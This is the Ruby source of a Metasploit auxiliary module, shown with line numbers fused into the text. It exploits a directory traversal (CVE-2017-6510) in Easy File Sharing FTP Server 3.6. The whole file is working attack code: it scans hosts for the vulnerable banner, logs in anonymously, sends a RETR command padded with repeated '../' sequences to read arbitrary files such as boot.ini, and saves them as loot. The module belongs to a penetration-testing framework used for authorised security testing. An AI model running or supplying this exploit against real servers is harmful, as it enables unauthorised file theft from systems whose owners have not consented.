Path: blob/master/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',15'Description' => %q{16This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.17This vulnerability allows an attacker to download arbitrary files from the server by crafting18a RETR command that includes file system traversal strings such as '../'19},20'Platform' => 'win',21'Author' => [22'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2017-6510']27],28'DisclosureDate' => '2017-03-07',29'Notes' => {30'Reliability' => UNKNOWN_RELIABILITY,31'Stability' => UNKNOWN_STABILITY,32'SideEffects' => UNKNOWN_SIDE_EFFECTS33}34)35)3637register_options(38[39OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),40OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])41]42)43end4445def check_host(ip)46begin47connect48if /Easy File Sharing FTP Server/i === banner49return Exploit::CheckCode::Detected50end51ensure52disconnect53end5455Exploit::CheckCode::Safe56end5758def run_host(target_host)59begin60# Login anonymously and open the socket that we'll use for data retrieval.61connect_login62sock = data_connect63if sock.nil?64error_msg = 'data_connect failed; possible invalid response'65print_status(error_msg)66elog(error_msg)67else68file_path = datastore['PATH']69file = ::File.basename(file_path)7071# make RETR request and store server response message...72retr_cmd = ("../" * datastore['DEPTH']) + "#{file_path}"73res = send_cmd(["RETR", retr_cmd])7475# read the file data from the socket that we opened76# dont assume theres still a sock to read from. Per #758277if sock.nil?78error_msg = 'data_connect failed; possible invalid response'79print_status(error_msg)80elog(error_msg)81return82else83# read the file data from the socket that we opened84response_data = sock.read(1024)85end8687unless response_data88print_error("#{file_path} not found")89return90end9192if response_data.length == 0 or !(res =~ /^150/)93print_status("File (#{file_path})from #{peer} is empty...")94return95end9697# store file data to loot98loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)99vprint_status("Data returned:\n")100vprint_line(response_data)101print_good("Stored #{file_path} to #{loot_file}")102end103rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e104vprint_error(e.message)105elog(e)106rescue ::Timeout::Error, ::Errno::EPIPE => e107vprint_error(e.message)108elog(e)109ensure110data_disconnect111disconnect112end113end114end115116117